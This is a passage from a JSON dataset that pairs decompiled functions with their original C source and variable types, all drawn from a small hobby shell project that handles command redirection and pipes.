(cmd[i] != ((void *)0))\n {\n if (is_in_descriptor_table(cmd[i]) == 1)\n {\n if ((cmd[i+1] != ((void *)0))\n && (is_in_descriptor_table(cmd[i+1]) == -1)\n && (Check_File_Name(cmd[i+1]) == 1))\n {\n i += 2;\n continue;\n }\n else\n {\n return -1;\n }\n }\n else\n {\n if (Check_File_Name(cmd[i]) == -1)\n {\n return -1;\n }\n }\n i++;\n }\n return flag;\n}", "canonical_original_code": "int Check_Redirection_Validity(char **cmd)\n{\n int flag = 1;\n if ((cmd[0] == ((void *)0))\n || (strchr(cmd[0], '>') != ((void *)0))\n || (strchr(cmd[0], '|') != ((void *)0))\n || (strchr(cmd[0], '<') != ((void *)0))\n || (strstr(cmd[0], \">>\") != ((void *)0)))\n {\n Usage_Redirection(4);\n return -1;\n }\n int i = 1;\n while (cmd[i] != ((void *)0))\n {\n if (is_in_descriptor_table(cmd[i]) == 1)\n {\n if ((cmd[i+1] != ((void *)0))\n && (is_in_descriptor_table(cmd[i+1]) == -1)\n && (Check_File_Name(cmd[i+1]) == 1))\n {\n i += 2;\n continue;\n }\n else\n {\n return -1;\n }\n }\n else\n {\n if (Check_File_Name(cmd[i]) == -1)\n {\n return -1;\n }\n }\n i++;\n }\n return flag;\n}", "variable_types": [ [ "cmd", "char **" ], [ "flag", "int" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Check_File_Name", "canonical_name": "func5", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Check_File_Name(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv2 = a1;\nif ( ((*_ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 0xFFFFFFFFLL;\nwhile ( *v2 )\n{\nif ( ((*_ctype_b_loc())[(char)*v2] & 8) == 0 && *v2 != 46 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\nreturn 1LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(char *a1)\n{\n_BYTE *v2; // [rsp+18h] [rbp-8h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\nv2 = a1;\nif ( ((*_ctype_b_loc())[*a1] & 0x800) != 0 )\nreturn 0xFFFFFFFFLL;\nwhile ( *v2 )\n{\nif ( ((*_ctype_b_loc())[(char)*v2] & 8) == 0 && *v2 != 46 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\nreturn 1LL;\n}", "original_code": "int Check_File_Name(char *file)\n{\n if (!file)\n {\n return -1;\n }\n char * ck = file;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISdigit))\n {\n return -1;\n }\n while (*ck)\n {\n if ((((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short int) _ISalnum) == 0) && *ck != '.')\n {\n return -1;\n }\n ck++;\n }\n return 1;\n}", "canonical_original_code": "int Check_File_Name(char *file)\n{\n if (!file)\n {\n return -1;\n }\n char *ck = file;\n if (((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISdigit))\n {\n return -1;\n }\n while (*ck)\n {\n if ((((*__ctype_b_loc ())[(int) ((*ck))] & (unsigned short) _ISalnum) == 0) && *ck != '.')\n {\n return -1;\n }\n ck++;\n }\n return 1;\n}", "variable_types": [ [ "file", "char *" ], [ "ck", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Usage_Redirection", "canonical_name": "func6", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Usage_Redirection(int a1)\n{\nswitch ( a1 )\n{\ncase 1:\nreturn g_print(\"\\nexpect file after input or output direction symbol\\n\");\ncase 2:\nreturn g_print(\"\\nexpect input or output direction symbol before file\\n\");\ncase 4:\nreturn g_print(\"\\n%s\\n%s\", \"ilegal command program.\", \"Try directions --help for more information\");\n}\nreturn g_print(\"Try directions --help for more information.\\n\");\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(int a1)\n{\nswitch ( a1 )\n{\ncase 1:\nreturn g_print(\"\\nexpect file after input or output direction symbol\\n\");\ncase 2:\nreturn g_print(\"\\nexpect input or output direction symbol before file\\n\");\ncase 4:\nreturn g_print(\"\\n%s\\n%s\", \"ilegal command program.\", \"Try directions --help for more information\");\n}\nreturn g_print(\"Try directions --help for more information.\\n\");\n}", "original_code": "void Usage_Redirection(int status)\n{\n if (status == 1)\n {\n g_print(\"\\nexpect file after input or output direction symbol\\n\");\n }\n else if (status == 2)\n {\n g_print(\"\\nexpect input or output direction symbol before file\\n\");\n }\n else if (status == 4)\n {\n g_print(\"\\n%s\\n%s\"\n ,\"ilegal command program.\"\n , \"Try directions --help for more information\");\n }\n else\n {\n g_print(\"Try directions --help for more information.\\n\");\n return;\n }\n return;\n}", "canonical_original_code": "void Usage_Redirection(int status)\n{\n if (status == 1)\n {\n g_print(\"\\nexpect file after input or output direction symbol\\n\");\n }\n else if (status == 2)\n {\n g_print(\"\\nexpect input or output direction symbol before file\\n\");\n }\n else if (status == 4)\n {\n g_print(\"\\n%s\\n%s\"\n ,\"ilegal command program.\"\n , \"Try directions --help for more information\");\n }\n else\n {\n g_print(\"Try directions --help for more information.\\n\");\n return;\n }\n return;\n}", "variable_types": [ [ "status", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Process_Redirection", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Process_Redirection(__int64 a1)\n{\nunsigned int v2; // eax\nvoid **v3; // [rsp+18h] [rbp-18h]\nunsigned int v4; // [rsp+24h] [rbp-Ch]\nchar **v5; // [rsp+28h] [rbp-8h]\nchar *i; // [rsp+28h] [rbp-8h]\n\nv5 = get_redirection_list(a1);\nif ( !v5 || !a1 )\nreturn 0xFFFFFFFFLL;\nv4 = -1;\nv3 = (void **)get_program(a1);\nfor ( i = v5[3]; i; i = (char *)*((_QWORD *)i + 3) )\n{\nv2 = *((_DWORD *)i + 2);\nif ( v2 == 3 )\n{\nv4 = (*(&redirect_table + 3))(v3, i);\n}\nelse if ( v2 > 3 )\n{\nRedirection_Usage();\n}\nelse if ( v2 == 2 )\n{\nv4 = (*(&redirect_table + 2))(v3, i);\n}\nelse if ( v2 )\n{\nv4 = (*(&redirect_table + 1))(v3, i);\n}\nelse\n{\nv4 = redirect_table(v3, i);\n}\n}\nfree_temp_cmd(v3);\nfree_direction_list(0LL);\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1)\n{\nunsigned int v2; // eax\nvoid **v3; // [rsp+18h] [rbp-18h]\nunsigned int v4; // [rsp+24h] [rbp-Ch]\nchar **v5; // [rsp+28h] [rbp-8h]\nchar *i; // [rsp+28h] [rbp-8h]\n\nv5 = func0(a1);\nif ( !v5 || !a1 )\nreturn 0xFFFFFFFFLL;\nv4 = -1;\nv3 = (void **)get_program(a1);\nfor ( i = v5[3]; i; i = (char *)*((_QWORD *)i + 3) )\n{\nv2 = *((_DWORD *)i + 2);\nif ( v2 == 3 )\n{\nv4 = (*(&redirect_table + 3))(v3, i);\n}\nelse if ( v2 > 3 )\n{\nfunc12();\n}\nelse if ( v2 == 2 )\n{\nv4 = (*(&redirect_table + 2))(v3, i);\n}\nelse if ( v2 )\n{\nv4 = (*(&redirect_table + 1))(v3, i);\n}\nelse\n{\nv4 = redirect_table(v3, i);\n}\n}\nfunc1(v3);\nfunc8(0LL);\nreturn v4;\n}", "original_code": "int Process_Redirection(char **cmd)\n{\n struct REDIRECT *ph= get_redirection_list(cmd);\n if (ph == ((void *)0) || cmd == ((void *)0))\n {\n return -1;\n }\n int flag = -1;\n char **program = get_program(cmd);\n ph = ph->next;\n while (ph!= ((void *)0))\n {\n switch(ph->red_type)\n {\n case Re_singal_out:\n flag = redirect_table[0](program, ph);\n break;\n case Re_singal_in:\n flag = redirect_table[1](program, ph);\n break;\n case Re_double_out:\n flag = redirect_table[2](program, ph);\n break;\n case Re_pipe:\n flag = redirect_table[3](program, ph);\n break;\n default: Redirection_Usage();\n break;\n }\n ph = ph->next;\n }\n free_temp_cmd(program);\n free_direction_list(ph);\n return flag;\n}", "canonical_original_code": "int Process_Redirection(char **cmd)\n{\n struct REDIRECT *ph = get_redirection_list(cmd);\n if (ph == ((void *)0) || cmd == ((void *)0))\n {\n return -1;\n }\n int flag = -1;\n char **program = get_program(cmd);\n ph = ph->next;\n while (ph!= ((void *)0))\n {\n switch(ph->red_type)\n {\n case Re_singal_out:\n flag = redirect_table[0](program, ph);\n break;\n case Re_singal_in:\n flag = redirect_table[1](program, ph);\n break;\n case Re_double_out:\n flag = redirect_table[2](program, ph);\n break;\n case Re_pipe:\n flag = redirect_table[3](program, ph);\n break;\n default: Redirection_Usage();\n break;\n }\n ph = ph->next;\n }\n free_temp_cmd(program);\n free_direction_list(ph);\n return flag;\n}", "variable_types": [ [ "cmd", "char **" ], [ "ph", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "flag", "int" ], [ "program", "char **" ] ], "return_type": "int", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "free_direction_list", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall free_direction_list(_QWORD *a1)\n{\nvoid *ptr; // [rsp+18h] [rbp-8h]\n\nwhile ( a1 )\n{\nptr = a1;\na1 = (_QWORD *)a1[3];\nfree(ptr);\n}\n}\n", "canonical_decompiled_code": "void __fastcall func8(_QWORD *a1)\n{\nvoid *ptr; // [rsp+18h] [rbp-8h]\n\nwhile ( a1 )\n{\nptr = a1;\na1 = (_QWORD *)a1[3];\nfree(ptr);\n}\n}", "original_code": "void free_direction_list(struct REDIRECT *pfree)\n{\n struct REDIRECT *ptmp = ((void *)0);\n while (((void *)0) != pfree)\n {\n ptmp = pfree;\n pfree = pfree->next;\n free(ptmp);\n ptmp = ((void *)0);\n }\n pfree = ((void *)0);\n}", "canonical_original_code": "void free_direction_list(struct REDIRECT *pfree)\n{\n struct REDIRECT *ptmp = ((void *)0);\n while (((void *)0) != pfree)\n {\n ptmp = pfree;\n pfree = pfree->next;\n free(ptmp);\n ptmp = ((void *)0);\n }\n pfree = ((void *)0);\n}", "variable_types": [ [ "pfree", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "ptmp", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ] ], "return_type": "void", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "do_redirect_output", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall do_redirect_output(const char **a1, __int64 a2)\n{\n__int64 result; // rax\n__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-Ch] BYREF\n__pid_t v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\nLODWORD(stat_loc.__uptr) = -1;\nv4 = fork();\nif ( v4 == -1 )\n{\nperror(\"fork fail\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nif ( !v4 )\n{\nHIDWORD(stat_loc.__iptr) = open(*(const char **)(a2 + 16), 66, 256LL);\nif ( HIDWORD(stat_loc.__iptr) == -1 )\nexit(1);\nclose(1);\ndup(SHIDWORD(stat_loc.__iptr));\nclose(SHIDWORD(stat_loc.__iptr));\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nif ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )\nLODWORD(result) = -1;\nelse\nLODWORD(result) = 1;\nresult = (unsigned int)result;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(const char **a1, __int64 a2)\n{\n__int64 result; // rax\n__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-Ch] BYREF\n__pid_t v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\nLODWORD(stat_loc.__uptr) = -1;\nv4 = fork();\nif ( v4 == -1 )\n{\nperror(\"fork fail\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nif ( !v4 )\n{\nHIDWORD(stat_loc.__iptr) = open(*(const char **)(a2 + 16), 66, 256LL);\nif ( HIDWORD(stat_loc.__iptr) == -1 )\nexit(1);\nclose(1);\ndup(SHIDWORD(stat_loc.__iptr));\nclose(SHIDWORD(stat_loc.__iptr));\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nif ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )\nLODWORD(result) = -1;\nelse\nLODWORD(result) = 1;\nresult = (unsigned int)result;\n}\nreturn result;\n}", "original_code": "int do_redirect_output(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int pid_f;\n int chlid_in = -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n return -1;\n }\n else if (pid_f == 0)\n {\n int redir_file;\n if ((redir_file = open(redirection->re_file, 02 | 0100, 0400)) == -1)\n {\n exit(1);\n }\n close(1);\n dup(redir_file);\n close(redir_file);\n execvp(program[0], program);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return chlid_in;\n}", "canonical_original_code": "int do_redirect_output(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int pid_f;\n int chlid_in = -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n return -1;\n }\n else if (pid_f == 0)\n {\n int redir_file;\n if ((redir_file = open(redirection->re_file, 02 | 0100, 0400)) == -1)\n {\n exit(1);\n }\n close(1);\n dup(redir_file);\n close(redir_file);\n execvp(program[0], program);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return chlid_in;\n}", "variable_types": [ [ "program", "char **" ], [ "redirection", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "pid_f", "int" ], [ "chlid_in", "int" ], [ "redir_file", "int" ] ], "return_type": "int", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "do_redirect_input", "canonical_name": "func10", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall do_redirect_input(const char **a1, __int64 a2)\n{\n__int64 result; // rax\n__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-Ch] BYREF\n__pid_t v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\nLODWORD(stat_loc.__uptr) = -1;\nv4 = fork();\nif ( v4 == -1 )\n{\nperror(\"fork fail\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nif ( !v4 )\n{\nHIDWORD(stat_loc.__iptr) = open(*(const char **)(a2 + 16), 0, 16LL);\nif ( HIDWORD(stat_loc.__iptr) == -1 )\nexit(1);\nclose(0);\ndup(SHIDWORD(stat_loc.__iptr));\nclose(SHIDWORD(stat_loc.__iptr));\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(const char **a1, __int64 a2)\n{\n__int64 result; // rax\n__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-Ch] BYREF\n__pid_t v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\nLODWORD(stat_loc.__uptr) = -1;\nv4 = fork();\nif ( v4 == -1 )\n{\nperror(\"fork fail\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nif ( !v4 )\n{\nHIDWORD(stat_loc.__iptr) = open(*(const char **)(a2 + 16), 0, 16LL);\nif ( HIDWORD(stat_loc.__iptr) == -1 )\nexit(1);\nclose(0);\ndup(SHIDWORD(stat_loc.__iptr));\nclose(SHIDWORD(stat_loc.__iptr));\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}", "original_code": "int do_redirect_input(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int pid_f;\n int chlid_in = -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n return -1;\n }\n else if (pid_f == 0)\n {\n int redir_file;\n if ((redir_file = open(redirection->re_file, 00, (0200 >> 3))) == -1)\n {\n exit(1);\n }\n close(0);\n dup(redir_file);\n close(redir_file);\n execvp(program[0], program);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return -1;\n}", "canonical_original_code": "int do_redirect_input(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int pid_f;\n int chlid_in = -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n return -1;\n }\n else if (pid_f == 0)\n {\n int redir_file;\n if ((redir_file = open(redirection->re_file, 00, (0200 >> 3))) == -1)\n {\n exit(1);\n }\n close(0);\n dup(redir_file);\n close(redir_file);\n execvp(program[0], program);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return -1;\n}", "variable_types": [ [ "program", "char **" ], [ "redirection", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "pid_f", "int" ], [ "chlid_in", "int" ], [ "redir_file", "int" ] ], "return_type": "int", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "do_redirect_double_output", "canonical_name": "func11", "repo": "pxunl/myshell", "decompiled_code": "__int64 do_redirect_double_output()\n{\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 func11()\n{\nreturn 0xFFFFFFFFLL;\n}", "original_code": "int do_redirect_double_output(char **program, struct REDIRECT *redirection)\n{\n return -1;\n}", "canonical_original_code": "int do_redirect_double_output(char **program, struct REDIRECT *redirection)\n{\n return -1;\n}", "variable_types": [ [ "program", "char **" ], [ "redirection", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ] ], "return_type": "int", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Redirection_Usage", "canonical_name": "func12", "repo": "pxunl/myshell", "decompiled_code": "__int64 Redirection_Usage()\n{\nreturn g_print(\"\\n------Finished------\\n\");\n}\n", "canonical_decompiled_code": "__int64 func12()\n{\nreturn g_print(\"\\n------Finished------\\n\");\n}", "original_code": "void Redirection_Usage()\n{\n g_print(\"\\n------Finished------\\n\");\n}", "canonical_original_code": "void Redirection_Usage()\n{\n g_print(\"\\n------Finished------\\n\");\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "do_redirect_pipe", "canonical_name": "func13", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall do_redirect_pipe(const char **a1, __int64 a2)\n{\n__int64 result; // rax\nsize_t v3; // rax\nint v4; // eax\nint pipedes[2]; // [rsp+14h] [rbp-1Ch] BYREF\n__pid_t v6; // [rsp+1Ch] [rbp-14h]\nvoid **v7; // [rsp+20h] [rbp-10h]\nint v8; // [rsp+28h] [rbp-8h]\nint v9; // [rsp+2Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\npipedes[0] = 0;\npipedes[1] = 0;\nv9 = 1;\nv8 = 1;\nv7 = (void **)malloc(0x10uLL);\nv3 = strlen(*(const char **)(a2 + 16));\n*v7 = malloc(v3 + 1);\nstrcpy((char *)*v7, *(const char **)(a2 + 16));\nv7[1] = 0LL;\nif ( pipe(pipedes) == -1 )\n{\nperror(\"Can't get a new pipe\");\nexit(1);\n}\nv6 = fork();\nif ( v6 == -1 )\n{\nperror(\"Can't fork!\");\nexit(2);\n}\nif ( !v6 )\n{\nv6 = fork();\nif ( v6 == -1 )\n{\nperror(\"Can't fork!\");\nexit(2);\n}\nclose(pipedes[0]);\nif ( dup2(pipedes[1], 1) == -1 )\n{\nperror(\"Cloud't redirect stdout\");\nexit(3);\n}\nclose(pipedes[1]);\nif ( execvp(*a1, (char *const *)a1) == -1 )\nv4 = -1;\nelse\nv4 = 1;\nv8 = v4;\nperror(*a1);\nexit(3);\n}\nfree_temp_cmd(v7);\nif ( v8 == 1 && v9 == 1 )\nresult = 1LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func13(const char **a1, __int64 a2)\n{\n__int64 result; // rax\nsize_t v3; // rax\nint v4; // eax\nint pipedes[2]; // [rsp+14h] [rbp-1Ch] BYREF\n__pid_t v6; // [rsp+1Ch] [rbp-14h]\nvoid **v7; // [rsp+20h] [rbp-10h]\nint v8; // [rsp+28h] [rbp-8h]\nint v9; // [rsp+2Ch] [rbp-4h]\n\nif ( !a1 || !a2 )\nreturn 0xFFFFFFFFLL;\npipedes[0] = 0;\npipedes[1] = 0;\nv9 = 1;\nv8 = 1;\nv7 = (void **)malloc(0x10uLL);\nv3 = strlen(*(const char **)(a2 + 16));\n*v7 = malloc(v3 + 1);\nstrcpy((char *)*v7, *(const char **)(a2 + 16));\nv7[1] = 0LL;\nif ( pipe(pipedes) == -1 )\n{\nperror(\"Can't get a new pipe\");\nexit(1);\n}\nv6 = fork();\nif ( v6 == -1 )\n{\nperror(\"Can't fork!\");\nexit(2);\n}\nif ( !v6 )\n{\nv6 = fork();\nif ( v6 == -1 )\n{\nperror(\"Can't fork!\");\nexit(2);\n}\nclose(pipedes[0]);\nif ( dup2(pipedes[1], 1) == -1 )\n{\nperror(\"Cloud't redirect stdout\");\nexit(3);\n}\nclose(pipedes[1]);\nif ( execvp(*a1, (char *const *)a1) == -1 )\nv4 = -1;\nelse\nv4 = 1;\nv8 = v4;\nperror(*a1);\nexit(3);\n}\nfunc1(v7);\nif ( v8 == 1 && v9 == 1 )\nresult = 1LL;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int do_redirect_pipe(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int re_pipe[2] = {0, 0};\n int pid_f;\n int r_parent = 1;\n int r_chind = 1;\n char **right_program = ((void *)0);\n right_program = (char **)malloc(2 * sizeof(char *));\n right_program[0] = (char *)malloc((strlen(redirection->re_file) + 1) * sizeof(char));\n strcpy(right_program[0], redirection->re_file);\n right_program[1] = ((void *)0);\n if (pipe(re_pipe) == -1)\n {\n {perror(\"Can't get a new pipe\"); exit(1);};\n }\n if ((pid_f = fork()) == -1)\n {\n {perror(\"Can't fork!\"); exit(2);};\n return -1;\n }\n else if (pid_f == 0)\n {\n if ((pid_f = fork()) == -1)\n {\n {perror(\"Can't fork!\"); exit(2);};\n return -1;\n }\n close(re_pipe[0]);\n if (dup2(re_pipe[1], 1) == -1)\n {\n {perror(\"Cloud't redirect stdout\"); exit(3);};\n }\n close(re_pipe[1]);\n r_chind = (execvp(program[0], program) == -1)? -1 : 1;\n {perror(program[0]); exit(3);};\n if (pid_f == 0)\n {\n close(re_pipe[1]);\n if (dup2(re_pipe[0], 0) == -1)\n {\n {perror(\"Cloud't redirect stdout\"); exit(3);};\n }\n close(re_pipe[0]);\n if ((redirection->red_type == Re_pipe) && (strcmp(redirection->word, redirection_descriptor[3]) == 0))\n {\n r_parent = (execvp(right_program[0], right_program) == -1)? -1 : 1;\n }\n {perror(right_program[0]); exit(3);};\n }\n }\n free_temp_cmd(right_program);\n return ((r_chind == 1) && (r_parent == 1))? 1 : -1;\n}", "canonical_original_code": "int do_redirect_pipe(char **program, struct REDIRECT *redirection)\n{\n if (program == ((void *)0) || redirection == ((void *)0))\n {\n return -1;\n }\n int re_pipe[2] = {0, 0};\n int pid_f;\n int r_parent = 1;\n int r_chind = 1;\n char **right_program = ((void *)0);\n right_program = (char **)malloc(2 * sizeof(char *));\n right_program[0] = (char *)malloc((strlen(redirection->re_file) + 1) * sizeof(char));\n strcpy(right_program[0], redirection->re_file);\n right_program[1] = ((void *)0);\n if (pipe(re_pipe) == -1)\n {\n {perror(\"Can't get a new pipe\"); exit(1);};\n }\n if ((pid_f = fork()) == -1)\n {\n {perror(\"Can't fork!\"); exit(2);};\n return -1;\n }\n else if (pid_f == 0)\n {\n if ((pid_f = fork()) == -1)\n {\n {perror(\"Can't fork!\"); exit(2);};\n return -1;\n }\n close(re_pipe[0]);\n if (dup2(re_pipe[1], 1) == -1)\n {\n {perror(\"Cloud't redirect stdout\"); exit(3);};\n }\n close(re_pipe[1]);\n r_chind = (execvp(program[0], program) == -1)? -1 : 1;\n {perror(program[0]); exit(3);};\n if (pid_f == 0)\n {\n close(re_pipe[1]);\n if (dup2(re_pipe[0], 0) == -1)\n {\n {perror(\"Cloud't redirect stdout\"); exit(3);};\n }\n close(re_pipe[0]);\n if ((redirection->red_type == Re_pipe) && (strcmp(redirection->word, redirection_descriptor[3]) == 0))\n {\n r_parent = (execvp(right_program[0], right_program) == -1)? -1 : 1;\n }\n {perror(right_program[0]); exit(3);};\n }\n }\n free_temp_cmd(right_program);\n return ((r_chind == 1) && (r_parent == 1))? 1 : -1;\n}", "variable_types": [ [ "program", "char **" ], [ "redirection", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "re_pipe", "int [2]" ], [ "pid_f", "int" ], [ "r_parent", "int" ], [ "r_chind", "int" ], [ "right_program", "char **" ] ], "return_type": "int", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" } ]
7e1704b141a2af3086a973d076163dcea8fb1e78e405482673e62c0c37d1f166
pxunl/myshell
